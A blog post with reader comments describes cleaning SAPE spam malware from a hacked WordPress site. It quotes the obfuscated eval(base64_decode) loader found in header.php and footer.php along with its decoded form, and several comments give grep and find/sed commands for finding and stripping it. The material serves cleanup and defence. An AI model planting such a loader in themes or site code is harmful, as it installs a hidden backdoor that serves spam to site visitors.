Blog Hacked… Cleaned: SAPE eval base64

My WordPress blog had been hacked. It displayed ads for stupid things in the far lower right corner of some blog pages. It looks like it displayed ads on just 1 in 10 of my pages, especially “Category” pages. You might want to take a peek on your own WordPress blog to make sure it hasn’t happened to you.

Here’s where the bad code was and how I fixed it.

The header.php file of my theme had been altered. It began:

<?define('USE_DIRA', '/blog/wp-content/themes/default/images/'); @eval(@base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS5VU0VfRElSQS4iNDAzLnBocCIpO3JldHVybiAoJGNoZWUpO31vYl9zdGFydCgiY2FsbGJhY2siKTs="));?>

That code was obviously running code in my /blog/wp-content/themes/default/images/ directory.

Curiously, the “modified date” on the header.php file must have been hacked. I know this because the file has a “last modifed” date of April 2009, however the backup of my website in October 2010 doesn’t have the spamming code. Therefore, the hacked code must have been added more recently.

2 files had been added to the /blog/wp-content/themes/default/images/ directory on the blog:

Here are the most suspicious parts of 403.php

define('_SAPE_USER', '466c19cd8253185aebaab9f182431010');

“SAPE” is a known malware (via)

You should never have any “eval base64” code in your WordPress installation. It’s almost always some piece of code trying to hide itself.

I removed the malicious code from my header.php and deleted 403.php and links.db from the default theme. Done.
Update: read the comments!


  1. I seen this a lot of in “Free” WordPress themes. The problem is that the code the gets evaluated might be a File IO write as it runs though all your other files on the system and adds its self to the bottom of every php file. I would do a scan of all php files on your system to ensure that this is a benine spammer version.

    Also you can use this script I set up to decode the string.

  2. lee says:

    Grrr! I found more spam code (thanks Steven)

    So I’ve found and removed spam code in the following files.

    Here is how I found all these bad programs:
    grep -r -l “@base64” * > aaa-eval
    grep -r -l “SAPE_USER” * > aaa-SAPE

    Some of the code is hidden from the WordPress Theme Editor. Here is the encoded code from footer.php

    </div> <!-- page -->
    <?//define('USE_DIRA', '/blog/wp-includes/css/'); @eval(@base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS5VU0VfRElSQS4iNDAzLnBocCIpO3JldHVybiAoJGNoZWUpO31vYl9zdGFydCgiY2FsbGJhY2siKTs="));?>

    Thanks to Steven’s base_64 converter, I can read it:

    function callback($chee){require($_SERVER['DOCUMENT_ROOT'].USE_DIRA."403.php");return ($chee);}ob_start("callback");

    I think that’s all of it.

  3. Tricky, Your lucky.
    I have had friends upload themes on to there account and the eval function would file open all the scripts and copy its self to every file on the system. Huge issues.

    Note: If you run your own server you can disable the “eval()” function from the php.ini configuration file. I have yet to find a legit script that required eval() to function.

  4. Dave says:

    Do you know how the code was modified? How did the hacker got into your web server and modified the files?

  5. lee says:

    >Do you know how the code was modified?
    Do you mean “how my WordPress code was modified”? I pretty much answered that in my post, no?

    > How did the hacker got into your web server and modified the files?
    Dave, no I don’t know how they snuck in. I’m just going to hope beyond hope that the latest WordPress version plugged the hole. I started investigating it but didn’t get very far.

  6. Digitalsoju says:

    I’ve had the same problem for over a year. I have wordpress and mediawiki installed, and for some reason it wrote it to my mediawiki index.php file. I installed a fresh wordpress install and tried to delete the old one, well guess what, when I deleted the old one it somehow wrote to the mediawiki index.php file again and put the eval 64 code. I googled it which finally led me here. Now here’s the weird part, I deleted that old wordpress folder awhile back, somehow it’s back on it’s own! Ah frustrating. The code doesn’t even spam my wiki anymore, it just makes it unloadable.

  7. lee says:

    Digitalsoju, that sucks. There’s got to be a remnant of the code lying around somewhere on your system. Keep looking! And it’s possible they are using the same vulnerability over and over to break into your system repeatedly :-(. Be sure to update all your software and good luck. Try those greps I mentioned above. Tell me how it works out.

  8. Digitalsoju says:

    Does the grep take awhile? Cuz mine seems like it’s just hanging. I think originally they got through into my wordpress, but odd they targeted my wiki mostly and not the wordpress. It also added two files /screenshot.php and /wiki/wiki.php

    This seems fairly complex. All this skill, and they use it to spam people, go figure.

  9. lee says:

    Digitalsoju, yes, the grep can take a while. It searches every byte of all your folders. Here’s more precisely what you should do:

    If you’re not familiar with the unix shell, get a friend to help. They’ll probably jump at the chance to check out your infected system.
    * log in with a unix shell
    * cd into your wordpress directory
    * run this command: grep -r -l “@base64″ * > aaa-eval
    * that will look for the words “@base64” in all of your wordpress directories. My blog has about 1 gigabyte in that folder and takes a full 5 minutes to run.
    * Once it’s finished, look in the file “aaa-eval” for where the bad files are hiding out.
    * go to each of those files and edit out all the spam crap. You’ll have to read intelligently since I don’t know exactly what spam crap they put on your system. But certainly if they put new files like “wiki.php” on your system, they are using those files as backdoors to your system.

    You’ll also want to run the grep in your wiki directories.

  10. We had faced same issue but in our old CMS. Rather going through all files you can run this command :

    find ./ -name "*.php" -type f | xargs sed -i 's#eval(base64_decode("ZXJ.*;##g' 2>&1

    you can tweak the line with your own.

    NOTE: Never copy and paste any command. Check and Study then run the code.

  11. lee says:

    thanks Amzad, nice little script!

  12. Carl Parry says:

    I ran it and got a warning for over-use of resources. I seem to remember from my student days you can “nice” a script like that… can someone remind me. (About the nice command, not student life…)

    Yikes! One of your processes (xargs, pid 26146) was just killed for excessive resource usage.
    Please contact DreamHost Support for details.

    Just about everyone at dreamhost was hacked this week by the way. Expect a flood of visits like mine :)

  13. lee says:

    Carl, try something like

    nice -n 19 find ./ -name “*.php” -type f | xargs sed -i ‘s#eval(base64_decode(“ZXJ.*;##g’ 2>&1

  14. Carl Parry says:

    Nearly worked ie it ran for a good 20 seconds before being killed. I’ll play about with the -n parameter.

    Other stuff I’ve learnt on this hack.

    You need to change your blog/ftp/cpanel passwords. I changed my SQL password as well.

    After that, you need to change your secret keys in wp-config.php because the hacker (script actually but it will have a cookie) will still be logged in after you’ve changed your password. WordPress have a fast/quick salt key generator here;

    Hope this helps someone. :)


  15. @carl,

    can you try this command see if it works faster than the old one ?

    $grep -rl 'eval(base64_decode(“ZXJ' . > hacked_php.txt
    $cat hacked_php.txt | xargs sed -i ‘s#eval(base64_decode(“ZXJ.*;##g’ 2>&1

    I never ran this cause my sites didnt got hacked after the last time. The first part of the command is to look for files that have hacked commands and store the filepath in a text file. The second command is to go through the list and fix those.

    P.S. Use this on your own RISK!

Leave a Comment

Do not write "http://" or "https://" in your comment, it will be blocked. It may take a few days for me to manually approve your first comment.